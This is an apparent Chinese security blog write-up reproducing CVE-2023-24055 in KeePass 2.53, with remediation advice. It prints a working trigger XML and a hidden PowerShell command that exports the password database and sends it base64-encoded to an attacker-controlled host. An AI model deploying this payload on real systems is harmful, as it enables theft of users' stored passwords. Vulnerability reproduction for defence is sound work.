前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一、漏洞描述
漏洞简述
KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。
对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
漏洞影响范围
供应商:KeePass
产品:KeePass Password Safe 2
确认受影响版本:KeePass 2.53版本
修复版本:KeePass 2.53.1版本
二、漏洞复现实战
环境搭建
Step 1 KeePass 2.53
![576b092207bcf8031d570af23b0556bc.png](https://i-blog.csdnimg.cn/blog_migrate/87cd4692271973f44b5ac4399498e806.png)
Step 2 KeePass翻译语言包
将语言包文件复制至安装路径下“Languages”文件夹下
在KeePass中进入语言设置,切换语言
漏洞复现
根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。
创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式:
(1)POC写入配置文件
将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。
其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>
字段为明文传输路径。
利用powershell以GET方式传输数据库中密码文件。
POC:
<TriggerSystem>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
保存KeePass.config.xml文件,触发器功能查看exploit触发器
(2)通过触发器功能手工创建触发器
exploit触发器配置如下:
属性项:命名为exploit,其余默认配置
事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等)
条件项:为空
操作项:
-
1. 导出当前数据库
文件路径为上述文件传输路径
文件格式选择 KeePass XML (2.x)
-
1. 执行命令行/URL
文件路径为PowerShell.exe ,使触发器执行PowerShell
参数选择攻击接收的路径
窗口方式选择Hidden
完成创建,可以看到exploit触发器
在攻击机 创建web服务,后续接收传输后的密码明文;
在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息
进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。
漏洞修复
建议更新至KeePass 2.53.1 版本
结束语
本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全、热点安全研究分析等安全相关
通过审核并发布能收获200-800不等的稿酬
靶场实操,戳“阅读原文“